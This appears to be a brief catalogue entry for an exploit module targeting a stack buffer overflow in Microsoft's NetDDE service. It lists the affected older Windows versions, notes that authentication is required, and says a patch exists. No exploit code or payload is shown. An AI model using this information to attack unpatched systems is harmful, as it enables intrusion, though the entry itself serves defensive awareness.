Microsoft NetDDE Service Overflow

This module exploits a stack buffer overflow in the NetDDE service, which is the precursor to the DCOM interface. This exploit effects only operating systems released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim that this vulnerability can be exploited without authentication, the NDDEAPI pipe is only accessible after successful authentication.

Mitigation:

Microsoft has released a patch for this vulnerability
